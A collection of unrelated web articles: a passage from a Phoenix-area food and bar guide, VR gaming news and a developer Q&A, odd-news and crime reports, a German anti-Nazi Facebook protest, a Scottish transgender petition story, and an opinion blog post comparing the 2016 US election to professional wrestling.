destination restaurant, and you’re going to the Grand Canyon anyway, we go to Pizzicletta , a small place that’s honestly maybe even better than Pizzeria Bianco. We’ll drive all the way up there just for the pizza and make a day out of it.  Old-school Phoenix restaurant institution?  It’s pretty random, but there is a New York hot dog company called Ted's Hot Dogs that serves amazing charcoal-fired hot dogs. One of the family members moved from New York to here and they use the same charcoal and stuff they use in New York. It’s been here since the mid-1900s and it’s a gem. Another one that’s great for lunch is Cornish Pasty , which is what it sounds like. It makes British pot pies called pasties—folded pastries filled with savory ingredients. If anybody is just in Tempe for the day, go here.  Best breweries in town?  There are so many now. The one that has the best breadth and the most interesting offerings is Arizona Wilderness , which is technically in Gilbert and a little bit of a drive. Otherwise, I would’ve recommended Four Peaks , which has always been a Tempe point of pride but was recently purchased by a much larger company. I also really like Wren House , which is in a home that was built in the 1920s.  Courtesy of UnderTow  Where to get a great cocktail?  The hottest place in Phoenix is this tiki bar that’s underground below a café-restaurant called Sip Coffee & Beer House that’s actually a in a refurbished garage. It’s called UnderTow , and it’s blown up. Their cocktail program is honestly the best in town, but you have to make a reservation through an app, and it’s a little busy, and you don’t want to go on the weekends. I end up drinking at Crudo a lot. It’s an awesome restaurant that does a lot of raw Italian food, but their drinks menu has the classics plus a cocktail menu that’s rewritten seasonally. I trust the bartenders there. Rum Bar , which is attached to a restaurant called Breadfruit, has any rum you can imagine.  Courtesy of Valley Bar  Where to see live music?  There is a new-ish place in central Phoenix called Valley Bar that’s a hip venue with a decent cocktail program. There’s also the Crescent Ballroom , which is owned by the same person, and hosts the best acts that come through here.  Best places to get into trouble for the night?  Go to Mill Avenue, the main thoroughfare of Tempe, which is right on the border of the university. It has a reputation for being really crazy. Pretty much the whole street is bars and shenanigans—but also lots of college kids. So, if you want something more low-key, a good place to meet people (and not dance) is Casey Moore’s Oyster House , which is actually a bar. It has this weird cult following, and it’s THE place where people go.  Alex Lau  Where to eat when the party is over?  The breakfast burrito at Los Favoritos , or their carne asada fries. Otherwise, people would probably go to In-N-Out for burgers.  Daytrip?  It depends on the time of year, because in the summer you’d have to drive pretty far to be able to deal with the temperature. This time of year, it’s beautiful hiking weather. You could drive to the Superstition Mountains and be at the trailhead in about 45 minutes. There’s also cool local folklore about the Lost Dutchman's Gold Mine. This guy supposedly had a goldmine and no one knew where it was but supposedly the mine is still out there somewhere. There are people who still spend a lot of time looking for it. Then there’s South Mountain, which is actually the largest municipal park in the country, and Camelback mountain in the Scottsdale area.  In case you got hungry reading about pizza:
-Coming on the heels of Valve’s announcement yesterday sources at NVIDIA have told the intrepid reporters at VRFocus that they will be announce their own VR, which might “possibly be named Titan VR.” For those at home keeping track that means we will have Oculus showing off the Rift, Sony showing off the Morpheus, Valve showing off the Steam VR, Razer showing off the OSVR, countless people showing off different iterations of mobile phone VR headsets, and now NVIDIA… yeah it’s sufficed to say VR will definitely be having a strong (wait for it…) ‘presence’ this year at GDC.  According to the report the only other details that we know now are that the team behind the project is the same one behind NVIDIA’s SHIELD tablet.  Earlier this month, the NVIDIA team sent out invites to an event on March 3rd that promised to show something that was “more than 5 years in the making” and that what they plan to show will “redefine the future of gaming.” This is most likely when we will get our first glance at the new HMD.  UploadVR will be in attendance at the NVIDIA event, and will be bringing you in the moment updates on Twitter. We will monitor this story as developments continue to come in.
-113 SHARES Facebook Twitter Linkedin Reddit  Flagship is a RTS (real-time-strategy) game with support for the Oculus Rift that aims to put you in command of a fleet of spaceships. The game is controlled from a first person perspective with the player as the captain working from the bridge of the fleet’s lead ship. Players will command their fleet with the help of the crew and see the action unfold in space around them.  Flagship Kickstarter  Flagship is looking to raise £95,000 on Kickstarter and it’s currently 39% of the way there. I spoke with one of the title’s developers, Brad Jeffrey to learn more about the project.  Flagship Q&A with Developer Brad Jeffrey  Road to VR: What are your plans for integrating STEM? Do you have a Razer Hydra to prototype with?  Jeffrey: We don’t actually have any Sixense hardware yet, we held off buying a set of Razer Hydra controllers as we were originally expecting the STEM devkits earlier in the year. Unfortunately there was a shipping delay as Sixense updated the design (for the better, I think), but they should start shipping in the next month or so. Unity integration seems reasonably simple, so from there it’s just a case of making the various systems onboard the ship work in a way that feels natural with motion controllers. The most obvious way would be to allow the player to just touch the controls with their hands, though in the case of larger interfaces like the map table, a laser pointer style interface may make more sense. The STEM system also opens up possibilities for offering fully 3D holographic interfaces that aren’t as feasible when using keyboard and mouse.  Road to VR: Who is the development team and what is their dev experience, especially with regards to RTS?  Jeffrey: Urban Logic games is made up of myself (Brad) and my brother Matt. We’ve both been tinkering with making games and mods for about 20 years. Matt is a freelance video producer by trade, but he’s also an experienced musician and 3D modeller. I’m a lead web developer as my day job, and I’ve had experience on mobile apps and data-driven applications. My biggest claim to fame is being one of the lead texture artists on Star Wars Quake: Call of the Force (aka SWTC). It was a pretty famous mod at the time, but that’s going back a few years! We’ve both been fans of the RTS games since the 90s, but space strategy games in particular always left us wanting to get a little closer to the action. We’ve been bouncing around the idea for Flagship for years, but it wasn’t until about a year and a half ago we felt we’d acquired the knowledge and skills necessary to build it.  Road to VR: Will the crew have personalities, strengths/weaknesses, and will you be able to choose, promote, demote, or discharge them?  Jeffrey: The aim is for your bridge crew to have distinct personalities, along with other department heads such as the chief engineer, the bartender, and the wing commander etc. Beyond that, it depends how far we can stretch our voice acting budget. You probably won’t be promoting and demoting individual crew members, for now we’re focusing on ship simulation aspects that are directly connected to combat and strategy. Ships in your fleet will level up providing they survive long enough, but this will probably be a per-ship stat.  Road to VR: Aside from the bridge, what can players expect to do inside of the flagship?  Jeffrey: You’ll most likely only leave the bridge during the down-time between battles. There will be consoles in your ready room dedicated to building your fleet and managing your empire. Engineering will contain systems you can calibrate to get extra performance (think Geordi La Forge tinkering in engineering to get that extra 1% out of the warp core). Other areas, such as the rec-room, will provide a way of getting to know your crew through interactive cutscenes.  Road to VR: What’s your favorite VR game so far? Which version of the Rift are you deving with?  Jeffrey: I’m not sure it qualifies as a game, but I loved Titans of Space. It was one of the first VR experiences that really made me think that this time VR was really going to go somewhere. It’s maybe a bit bare-bones presentation wise, but there are some pretty startling moments in that demo, and a real sense of scale. More recently, the Radial-G demo was really cool. I would have expected a game that moved you around so quickly to bring on motion sickness, but for whatever reason it didn’t at all.  We’re developing on the DK1 at the moment, I haven’t quite been able to save enough to get the DK2, but we’re hoping to get our hands on one soon.  In a Kickstarter update, the developers demonstrate the immense scale of one of many solar systems in which combat will take place:  Flagship Screenshots
-In 1999, Mark Nokes of Wallsall, England was incredibly excited about the imminent release of Star Wars Episode I: The Phantom Menace. Like the rest of us, Mark had no idea just how terrible that movie would be...but that didn't stop him from legally changing his name to Darth Vader  His wife, Suzanne, also took her husband's last name of Vader because...well, seriously, who wouldn't do that? If you're going to be married to the Dark Lord, you might as well receive all the benefits that come along with it. Can you imagine being called up for dinner reservations...or for your turn at the DMV?  But I digress...this all leads us to 13 years later, when a rogue Jedi named Ikbale Hare (c'mon, that even sounds like a Mon Calamari name) became convinced that Mr. Vader was using the dark side of the force to seduce his own wife, Kelly Campbell (definitely a human).  The two men began fighting, but before any light sabers could be unsheathed, Mrs. Vader stepped in the middle of the two to try and stop a physical altercation from occurring. Unfortunately for her, Ikbale had already committed himself to throwing a punch...which landed squarely on Mrs. Vader's face.  "Heavens to Betsy!"  The resulting melee was recorded in what may be one of the most incredible sounding police reports of all time. One excerpt, which was reprinted in the Birmingham Mail , reads in part:  "There was a scuffle involving the two men and Mrs Vader tried to get between them... The defendant struck her but, there is evidence that, in fact, he had been trying to hit Darth Vader. Hare then picked up a brick and he threw sand into the face of Darth Vader, whose wife was so worried about him getting further involved in the dispute that she locked him in their house."  Hare ran off and hid for two days before being caught and arrested. He was charged with (and pleaded guilty to) possessing a bladed article (knife, not a light saber), assault, and disorderly behavior.  He will be required to complete 200 hours of community service and be placed under strict supervision for 18 months.  Considering whose wife he punched, I'd say Mr. Hare got off pretty light.  Just ask the late Admiral Ozzel what  happens when Mr. Vader dispenses justice himself.
-Bryan Bravo, 19, is shown on a stretcher after he broke into a Santa Ana home on Friday, Sept. 4, 2015.  Two home invasion suspects chose the wrong house to target. The homeowner, who is trained in martial arts, turned the tables on the criminals, even shooting one of them.The incident took place at Erickson Dumaual's home in the 2500 block of West Manly Avenue around 4 a.m. Friday.Dumaual said two burglars came into his bedroom through an open sliding door, pointed a gun at his head and demanded money."Fifty-fifty, it was a struggle. I didn't know whether I was going to die," Dumaual said.Wanting to protect his sister and his 14-year-old nephew in the house, Dumaual took action."I saw the gunman turn his head, I attacked. I went for the gun. I have training in Krav Maga, so it didn't scare me at all," Dumaual said.Dumaual pushed the gunman against a window, shattered the glass, and then took the fight outside.After fending off both men, he took the gun. One suspect ran, but the one who lost the gun wanted to keep fighting."He never fired a shot on me, but I took that gun and he was going for that gun again, so I had to defend myself," Dumaual said.He shot the suspect in the leg, when the man tried to run. Dumaual pushed him into the pool and told him to stay put. When the suspect jumped out of the pool, Dumaual shot him again."He wanted to run," Dumaual said. He said the suspect kept saying, "I'm sorry," and tried to flee."No, you're staying right here buddy. So I tried to subdue him even more," he said.Officers arrived and took 19-year-old Bryan Bravo into custody. Dumaual's nephew took a photo of him on a stretcher.Police say the two suspects might have robbed someone earlier in the morning."The description matches. They were on a bike. Our victim was walking down the street, had a backpack, cellphone and money," Cpl. Anthony Bertagna said about that incident.As for Dumaual, he escaped with a few scratches and a cut on his foot from stepping on glass. He said these men picked the wrong house."He deserved it. He deserved every bit of it. I'd do it again if it happened again," he said.Police said Bravo is a known gang member with a long criminal history. He is expected to survive.If you have any information on the second suspect, you're urged to call Santa Ana police.
-January 27 is International Holocaust Remembrance Day, and this year an ad-hoc German collective called Laut Gegen Nazis (Loud Against Nazis) staged an intriguing protest against the Nazi Party of Germany, or the National Democratic Party of Germany, as they style themselves (Nationaldemokratische Partei Deutschlands, NPD), by using the innocuous tools of Facebook to call attention to the damnable persistence of Nazi ideology in Germany.  Laut Gegen Nazis called it a “Like Attack”—they encouraged liberal opponents of fascist ideas to flood the NPD’s Facebook page by “liking” it and also by posting, as a comment, a link to a liberal-friendly image such as “Rassismus tötet!” (Racism kills!) or a rainbow version of the Nazi logo. In addition users were urged to adopt one of those very same images as their personal icons for the day (as they would obviously be seen on the NPD’s page itself).  The slogan for the day was “Wir überfremden die NPD!”—which clever phrase requires a bit of unpacking. The German word überfremden is not a common one; it appears to be a bit of neo-Nazi jargon, and it means to be overrun by foreigners—such sentiments are surely discernable enough in the U.S. and U.K. as well. The genius of the slogan lies in the fact that Laut Gegen Nazis was proposing to do just that to the NPD’s Facebook page—overrun it with outside elements.  As the Das Kraftfuttermischwerk blog pointed out, the project had the distinct drawback of having to oblige users, however briefly, to “like” such an odious entity as the NPD in order to function. But a sizable number of people appeared not to mind that particular taint, anyway.  In the end, the NPD admins presumably had to work a little harder to maintain their page (it appears that many of the comments were scrubbed, although as of this writing—1/29—a few more recent comments could be seen on NPD’s website), and who knows how many minds, if any, were changed. But it remains a pretty clever implementation of social media to land a collective political point.  Previously on Dangerous Minds:  Foil Facebook’s facial recognition using sneaky World War I ‘razzle dazzle’ tactics
-Ever since it was announced that Sony Computer Entertainment (SCE) would be bringing virtual reality (VR) to the PlayStation 4 back in March 2014, fans have speculated on what first-party franchises could offer their support to the tech. Many would like to see platformers such as Ratchet and Clank or Jak and Daxter make the transition to the PlayStation VR head-mounted display (HMD), as it’s called, while others picture driving simulators such as Gran Turismo as the perfect companion for the device. It seems that SCE Head of Worldwide Studios Shuhei Yoshida agrees with the latter.  “Many trial tests we’ve been doing, some genres just work fine,” Yoshida said when the popular racing franchise was brought up in an interview with Eurogamer released earlier this week. “One of those genres is racing games. So when Gran Turismo comes out on PS4, I’d like to see it support PlayStation VR, yeah.” Gran Turismo would presumably arrive on PlayStation 4 as Gran Turismo 7, but such a title is set to be announced. The series has come to every PlayStation platform with the exception of the PlayStation Vita, so it’s not hard to imagine it showing up later down the line.  Back when PlayStation VR was first revealed – then known as Project Morpheus – Yoshida confirmed that SCE-owned Evolution Studios had also tested support for its own racing simulator, DriveClub. Ultimately the team decided against its inclusion, but perhaps possible support for the Gran Turismo series could go some way to making up for that. As it stands, SCE is yet to announce that any of its classic IP will support VR in the future, though has announced entirely new ones such as RIGS: Mechanised Combat League from Guerrilla Cambridge.  VRFocus will continue to follow PlayStation VR closely, reporting back with the latest updates to the title.
-Scottish Transgender Alliance has filed a petition with the Crown Office and Procurator Fiscal Service urging them to work with trans equality groups  Thousands have signed a petition demanding Scotland’s courts not jail people if they do not tell their sex partners they are trans.  The Scottish Transgender Alliance asked people to sign a petition asking the Crown Office and Procurator Fiscal Service (COPFS) to urgently work with equality groups.  It comes after Chris Wilson, 25, pled guilty in court after he was accused of failing to tell two girls his gender history and real age.  He will be trialed this Friday (5 April), where he will likely face jail. Wilson is already on the sex offender’s register for life.  Over 2,400 people signed the petition, addressing their concern trans people could risk imprisonment for not telling their sexual partners their gender history.  Writing to the Lord Advocate, the STA said: ‘We consider it essential that trans people’s right to privacy about their gender history be upheld in all areas of their lives.  ‘They must not be placed in fear of imprisonment simply for non-disclosure of their gender reassignment status to a sexual partner.’  Last month, Wilson admitted to having sex with a 15-year-old girl who said she was 16, after telling her he was 16 when he was really 22.  He also admitted to kissing and cuddling another girl who was also 15 at the time, and also lied about his age.  Despite the ages, it is believed due to the ‘obtaining sexual intimacy by fraud’ charge, Wilson was only convicted on the basis he had lied about his gender history.  Nathan Gale, development worker at the STA, said: ‘There are other factors involved in this case, the two young women involved were only 15, but in bringing these particular charges the message the Crown Office and Procurator Fiscal Service has sent to trans people is, we will criminalize you if you fail to disclose your gender history to sexual partners.  ‘Or put more bluntly, when it comes to sex you have no right to privacy.  ‘I sincerely hope that on receiving this petition COPFS will understand the seriousness of trans people’s fears and respond to our call for COPFS to take urgent steps to address them.’  If you would like to read more about the case, check out Nathan Gale’s comment piece for Gay Star News here.
-World Electioneering Entertainment 2016: 1,000 Years of Energy Independence and the Greatest Con Ever? [part 1/3]  As probably anyone will attest, the greatest spectacle of the past year – if not of the past eon – has been none other than the United States presidential election, something that I now like to refer to as World Electioneering Entertainment (WEE). Because to properly understand this election (and its nascent title) requires, I believe, an understanding of the WWE – World Wrestling Entertainment. I've personally never had a liking for any of that wrestling stuff, but I am nonetheless intimately familiar with it all thanks to an old high school friend of mine – who goes by the nom de plume of Jason Sensation, but whom I knew as Jay – who has been a wrestler and impersonator in the WWE and other wrestling federations for nearly 20 years now. Follow along with this and the next two posts and – partially in thanks to my exposure to my old friend's antics and the mechanics of the WWE that he often explained to me – you'll see why I've come to the conclusion that this United States presidential election – WEE 2016 – might very well be the greatest con that any of us have ever beared witness to.  But before I get to the significance of the WWE to the WEE, a partial recap of the three presidential debates – and in particular their mention of energy – is required in order to provide some backdrop for understanding their correlation. I didn't actually watch the debates myself but rather listened to them (because I gave up making and watching film and television 10 years or so ago), which in a strange twist of events actually made a significant difference.  While moderator Chris Wallace stated in the third debate that "there is almost no issue that separates the two of you more than the issue of immigration", there is on the other hand probably no issue that more strongly bridges the two candidates – to go along with Bernie Sanders, Gary Johnson and Jill Stein – than the issue of energy. The first debate didn't cover much ground here, Hillary Clinton stating that  We can deploy a half a billion more solar panels. We can have enough clean energy to power every home. We can build a new modern electric grid.  Skipping over my doubts regarding the possibility of all that (which I've already repeatedly written of), Donald Trump then stated that "I'm a great believer in all forms of energy".  Bravo?  Jumping over to the third debate, it was stated by Clinton that "I do want us to have an electric grid, energy system that crosses borders." Although I won't examine this in detail, it's worth remembering that it was a highly integrated energy grid that in 2003 enabled a software bug and some unpruned foliage to allow for a two-day (for some a seven-day) blackout on the eastern seaboard that left 55 million people in a mad scramble over what to do with all of their melting ice cream. (If you think I'm being a bit unfair, it's worth remembering what was broadly learned from the blackout: absolutely nothing.)  (photo by Brendan Loy)  Switching over to the second debate, it was here that a question directly related to energy was (surprisingly?) asked by a fellow named Ken Bone.  What steps will your energy policy take to meet our energy needs, while at the same time remaining environmentally friendly and minimizing job loss for fossil power plant workers?  Roughly translated, his question was "How can we have it all?" Or rather, How can we have an increasing energy supply that doesn't pollute and which won't cause much job loss in the fossil fuel power plants that emit pollution?  In response, and in short, it was stated by Trump that "There is a thing called clean coal. Coal will last for 1,000 years in this country". Clinton then stated that "we are now for the first time ever energy-independent". Both statements are patently incorrect, but since neither candidate disagreed with the other's statements on this I figure that we might as well lump both replies together and presume that what both Trump and Clinton believe in is 1,000 years of energy independence. Bi-partisan consensus!  1,000 years of energy independence for everybody! (photo by Gage Skidmore)  For the record, and as Alice Friedmann relayed in her book When Trucks Stop Running, global coal supplies may have hit their energetic peak back in 2011, while the United States' peak in tonnage of coal will probably occur sometime between now and 2050. In regards to Clinton's statement about "energy independence", up until WWII or so the United States was in fact the world's overwhelming swing producer when it came to oil supplies and actually produced more oil than the entire world combined (why do you think the allies won WWII?). That was energy independence. But seeing how the United States currently produces about 9 million barrels of oil a day and consumes about 20 million barrels a day, perhaps it's believed somewhere in the back of Clinton's mind that Canada and Saudi Arabia are the 51st and 52nd states (which sometimes wouldn't be hard to believe).  Having cleared that up, did the media call out either candidate on their highly erroneous statements? Well...  In an interview with the New York Times, the questioner (sacrificial lamb?) that made the query on energy, Ken Bone, did turn out to be rather proud of himself: "I'm just glad I was able to spark the energy debate a little bit". Yes, well, so much debate occurred that Bone appeared on various news programs, talk shows, and even did an AMA (Ask Me Anything) on the website Reddit. In an interview with CNN,  CNN's Carol Costello read him a tweet arguing that he had become a meme because of a combination of "33% confidence, 33% calming demeanor, 33% hugability, 1% power stache."  So thanks to Bone's power stache the United States now has enough energy to – wait, what? Power stache? Meme? Those aren't even anagrams for energy. What's going on here?  Alright, well, it turns out that had of I watched the second debate and not merely listened to it I would have noticed that Bone was wearing a bright red sweater, a sweater which caused a sensation across the Internet and got Bone booked on various television programs. Along with  Kenneth Bone quickly bec[oming] a shorthand for all that is right about American democracy: mutual respect, caring about the issues, and the truly unifying power of a pun on the word "bone"  a Halloween costume was crafted in Bone's likeness, Bone was, of course, offered a porn contract, to go along with all the rest that comes with that 15 minutes of fame thing. Following that, and upon doing the AMA on Reddit in which he used his regular user account and not a throwaway account, much of Bone's dirty laundry was laid bare for all to see via his comment history. I won't dignify any of that gossip by rehashing it here, but it did seem important enough that rather than call out Trump and Clinton on their "misstatements" about energy supplies, the media dutifully relayed the fact that the "Bonezone" had had a vasectomy some years ago. Gripping stuff I tell you.  Anyway, this is where we get back to the macro spectacle of the WEE.  Donald Trump shaves the head of WWE Chairman Vince McMahon, held by Stone Cold & assisted by Bobby Lashley, WM 2007. pic.twitter.com/W6oQW7Zlvf — phases pictures (@picturephase) September 29, 2016  Donald Trump shaves the head of WWE Chairman Vince McMahon, held by Stone Cold & assisted by Bobby Lashley, WM 2007. pic.twitter.com/W6oQW7Zlvf — phases pictures (@picturephase) September 29, 2016  As was explained to me many years ago by my old friend of WWE notoriety, there are essentially two characters in wrestling: the hero/heroine, known as the "babyface" (or "face" for short), and the villain, known as the "heel". The "face" persona is the empathic figure that aims to garner the respect and sympathy of the audience; they are likeable and honest and are determined to overcome the overwhelming odds placed before them. The "heel" on the other hand is the unethical figure that will lie and cheat and do whatever it takes to win the match (and/or the money, the girl/guy, the power, etc.); they readily antagonize the fans and even their peers, and have a habitual streak of playing the victim. Furthermore, the "heel" never accepts the loss of a match due to an ingrained perception that a grandiose conspiracy is relentlessly working against them. On top of all that, and regardless if you're the "face" or the "heel", what matters the most in the WWE is that you get attention, and any attention is good attention (meaning it doesn't matter if the audience loves you or hates you, but that you garner a strong reaction).  In other words, and in case it isn't obvious enough, Trump's behaviour couldn't possibly fit any closer to the script and blueprint laid out for a WWE "heel": insult and deny, feign conspiracy, rinse and repeat. But while there is probably no greater student of World Wrestling Entertainment, and no person that has more shrewdly adapted it to politics than the incomparable and indomitable Donald Trump, I don't mean to imply that Trump is merely using the WWE playbook to run his campaign and ultimately win the election. No. What I mean to suggest is that Donald Trump may very well be playing out the part of a character, just as much as any run-of-the-mill wrestler does in the WWE and just as my old (wrestling) friend repeatedly did in public, the only ones in on Jay's gags and the characters he constantly acted out being his friends and the random person that recognized Jay from television and the various public events he partook in.  "Battle of the Billionaires" Donald Trump shaves the head of WWE owner and billionaire Vince McMahon April 1, 2007 pic.twitter.com/tix2qPw7Na — Gary Lee (@garyibe007) September 6, 2016  "Battle of the Billionaires" Donald Trump shaves the head of WWE owner and billionaire Vince McMahon April 1, 2007 pic.twitter.com/tix2qPw7Na — Gary Lee (@garyibe007) September 6, 2016  For starters, Trump's history with the WWE goes back to at least the late-1980s (when the WWE was known as the WWF – the World Wrestling Federation) when a casino of his in Atlantic City hosted two of the greatest events in WWE's history – Wrestlemanias IV and V. Along with being a business associate and friend of WWE's owner Vince McMahon, Trump performed in Wrestlemania 23 in a match dubbed "The Battle of the Billionaires" (otherwise known as the "hair versus hair" match) where he ended up shaving the head of a subdued McMahon. Six years later Trump was inducted into the WWE hall of fame.  Donald Trump being inducted into the WWE Hall of Fame in 2013 (photo by Rick Foster)  I won't delve too much into Trump's antics in this post (as I'll save that for the Trump post coming up next week), but suffice to say that Trump is a media savvy political performance artist like none other and is quite possibly playing out one of the greatest roles any of us have ever seen.  Here's something relevant that Jay mentioned to me and other friends way back when and which I was able to find quoted on a website:  There was a couple of times I was doing some home shopping gigs in Canada with WWE – and this was prior to my parody as Owen [Hart] – and Triple H was at one of the shows and he came up and asked me to dress up like Bret [Hart] and make fun of him. I really didn't wanna do it, he was my favorite guy and everything. Triple H had to sit down and explain the business to me, telling me, "You can be a fan, you're not offending him, this is a job. You're getting an opportunity, you can still impersonate him for us and it can be in dedication to him even though you're making fun of him, it's just part of the gimmick."  @4CR_Billy To be fair, Melania wasn't the first to copy an idol. #Trump is clearly running as "Mr. McMahon." pic.twitter.com/y5Qzb1cjIK — LeMar McLean (@MarzMediaUS) July 29, 2016  @4CR_Billy To be fair, Melania wasn't the first to copy an idol. #Trump is clearly running as "Mr. McMahon." pic.twitter.com/y5Qzb1cjIK — LeMar McLean (@MarzMediaUS) July 29, 2016  If we can parallel that with Donald Trump, should we be so naïve as to believe that when Trump shaved off Vince McMahon's hair that he did so out of spite, or might it make more sense to realize that "it's just part of the gimmick"? Likewise, might it not be just as naïve to believe that Trump has been sincere when he's called Clinton "crooked Hillary" or even a "nasty woman" in the third debate? And how about "Little Rubio", "Lyin' Ted", "low energy" Jeb Bush, "Miss Piggie", and on and on and on? Are any of those to be taken seriously, or might it be possible that they're part of a ruse where they're also "just part of the gimmick", one where the "feud" between Trump and Clinton is entirely made up? And if it is just part of some "gimmick" (the purpose of which I'll touch on in a moment), might it then be possible that by lashing out at and/or incessantly commenting on and intellectualizing Trump's antics that our entire media, journalists, and all the rest of us observers have taken the place of the ravenous WWE audience member, giving not just Trump, but also the WEE, the attention and legitimacy sought after?  Because it's not just the WWE that follows the matrix of "any attention is good attention", but also the media in general. As Les Moonves, CEO and executive chairman of CBS, put it last year,  It [Trump's campaign] may not be good for America, but it's damn good for CBS... Man, who would have expected the ride we're all having right now?... The money's rolling in and this is fun. I've never seen anything like this, and this is going to be a very good year for us. Sorry. It's a terrible thing to say. But, bring it on, Donald. Keep going.  There's no doubt that Trump is well aware of this and doesn't need one bit of reminding. As he put it himself two years before he even announced his candidacy,  I'm going to get in and all the polls are going to go crazy. I'm going to suck all the oxygen out of the room. I know how to work the media in a way that they will never take the lights off of me.  And that's not the bombast of some mere pretender. It's the truth being parlayed by possibly the greatest student of the WWE, one who has taken the WWE's mechanics and applied them to the biggest arena in the entire world – the ring of the United States federal election.  The Hollywood Walk of Shame  Jumping on the bandwagon, such things as the television show The Simpsons like to portray themselves as having warned us of a Trump presidency years ago. But on top of that being a bunch of self-indulgent nonsense, the only thing that mini-spectacles like The Simpsons have done is lay down some very useful groundwork for enabling the showmanship of Donald Trumps, thanks to its contribution to the creation of a complacent and apathetic people that is highly malleable to this "age of irony" of ours.  As was put by one of the several apologists over at Salon,  Humor is one of the primary ways that oppressed, weak, and marginalized people speak back to Power. The serf mocks the king. The worker laughs at the boss or factory owner. The slave derides and makes fun of the master. The child goofs on the adult.  Oddly enough, Jay played the character "McDonald Dump" last week at a wrestling event in Toronto. I don't think for a second that Jay's a fan of Trump's, but much like the media and the chattering classes – and whether he realizes it or not – Jay's playing right into the hands of what I see as being the Trump and WEE ploy (Tweet via Twitter)  True enough. As I hope this blog shows, I rather like humor (as well as humour). But while making light of the foibles of life is one thing, mockery is something else entirely – one where politics turns into theatre. While the various clowns and clownettes of late-night television pride themselves for eviscerating Trump, and while their audiences gleefully lap it all up, said clowns have accomplished absolutely nothing save for supplying Trump and the WEE with the attention and reaction they seek and require in order to legitimize what I believe to be the charade of WEE 2016.  As Barack Obama's former chief speechwriter Tweeted back in February, "if Trump is the nominee, I actually think we should fund a SuperPAC that hires professional comedians to take him down with funny ads." But as the late media-theorist Marshall McLuhan put it several years ago, "The clown is really the emperor's PR man". Otherwise put, the very modus operandi of the mocking satirist is to feed into and legitimize the roasted.  Jon Stewart To Appear At WWE SummerSlam 2016 https://t.co/3ObCdGjLED pic.twitter.com/lzQq0g93eU — Wrestling Central (@wrestlingcent) August 16, 2016  Jon Stewart To Appear At WWE SummerSlam 2016 https://t.co/3ObCdGjLED pic.twitter.com/lzQq0g93eU — Wrestling Central (@wrestlingcent) August 16, 2016  Think I'm exaggerating? Then take a look at the greatest eviscerating clown currently alive, Jon Stewart, "the most trusted name in fake news". While Stewart likes to play the role of the responsible observer that uses his razor-sharp with to take down those on high, in an infamous interview on CNN's Crosstalk he fired back at – cut off – criticism of of his actions by pointing out that "The show that leads into me is puppets making crank phone calls! What is wrong with you?" Or in other words, we're supposed to take Stewart seriously while not, well, taking him serisouly at all.  Jon Stewart and Mick Foley (of the WWE) at the Rally to Perpetuate Insanity (photo by Cliff)  As if all that weren't enough, while it's well known that Stewart recently gave up the helm of his critically acclaimed 16-year stint as host of The Daily Show, it's not quite as well known who one of his recent employers has been. In case you need me to spell it out for you, yes, Jon Stewart has in fact been working for none other than the WWE, hosting and even wrestling in its RAW and Summer Slam events for the past couple of years. Still no word though on when Stewart and his foil will be meeting in the ring so that Stewart the clown can shave off the mane of his fellow showman, Donald Trump the emperor.  As I recently read, it's not possible to name the greatest con ever pulled off because the greatest con that ever existed was the one that nobody ever realized was actually a con. With that in mind, might it be possible that Trump is actually playing out the role of the greatest "heel" that the WWE, and now the WEE, has ever seen? If so, what I can't help but ponder over is whether or not the purpose of "the gimmick" is to create a fog of distraction over the most important issue of the day that in a strange twist of events got superseded by a red sweater, talk of a vasectomy, and, shall we say, something that the "Bonezone" "liked". In other words, inane gossip took center stage over the topic of energy supplies. Or more specifically, peaking energy supplies.  Jon Stewart Is The Best Guest-Host In WWE History @ http://t.co/4L7xRXIElo pic.twitter.com/zc8aQRBr9f — WrestleNewz.com (@wrestlenewz) August 26, 2015  Jon Stewart Is The Best Guest-Host In WWE History @ http://t.co/4L7xRXIElo pic.twitter.com/zc8aQRBr9f — WrestleNewz.com (@wrestlenewz) August 26, 2015  Moreover, I don't think we should expect this "feud" – this distraction – to end anytime soon. As Trump stated at the end of the third debate in response to whether he'd concede the election were he to lose, "What I'm saying is that I will tell you at the time. I'll keep you in suspense, okay?" As I'll explain further in the next post, were Trump to win the election the "feud" would essentially come to an end. But were he to lose the election, what I see as being a faux feud would be allowed to continue, thus allowing for the citizenry-cum-audience to remain properly distracted from slightly more important things like the collapse of industrial civilization.  None of this is to say though that real people won't be affected in real ways by Trump's antics. Although what's going on in the ring of the WEE may be roughly staged – I imagine that Trump is taking the lead while Clinton has the simple job of playing herself in return – at many points in the future many real people in the stands of the WEE may be incited to riot, and many real people may, to say the least, get hurt.  Alongside that, it's been postulated by John Michael Greer that upon the protracted collapse of industrial civilization the United States may see the rise of a Fred Halliot (that is an anagram). Which is, I'd say, entirely possible. But as stated by another late media-theorist, Neil Postman, in his book Amusing Ourselves to Death: Public Discourse in the Age of Show Business,  [Aldous Huxley] believed that it is far more likely that the Western democracies will dance and dream themselves into oblivion than march into it, single file and manacled. Huxley grasped, as Orwell did not, that it is not necessary to conceal anything from a public insensible to contradiction and narcoticized by technological diversions. Although Huxley did not specify that television would be our main line to the drug, he would have no difficulty accepting Robert MacNeil's observation that "Television is the soma of Aldous Huxley's Brave New World." Big Brother turns out to be Howdy Doody.  In other words, so long as the citizenry is kept placated and gullible with its soma, what reason is there for how, or why, a Fred Halliot might emerge? However, once the lights start to go out – meaning once the televisions and movie theatres start going dark, and people start losing access to their soma – then all bets are summarily off.  Furthermore, although I think Greer is spot on with his explanation of why so many voters are gravitating towards Trump, I'm not so sure about his interpretation regarding Trump's motivations. I'll hash out those motivations a bit more in the next two posts, starting with one on Donald Trump, followed by one on the candidate who I think wasn't so much bound to be the winner of the WEE so much as she wasn't bound to be the loser – Hillary Clinton.  Having made a comparison between Donald Trump and my old friend Jay, out of fairness I'd like to add that besides being students of the WWE they are nothing alike. While Trump slurs virtually everybody he comes across, and whether they are part of a character or not, his words are given as his honest opinion of which there is no excuse for. On the other hand, the only slurs Jay ever doled out (that wasn't behind closed doors) were either upon himself or some light ribbing upon close friends.  Let's get ready to rumble!!!!
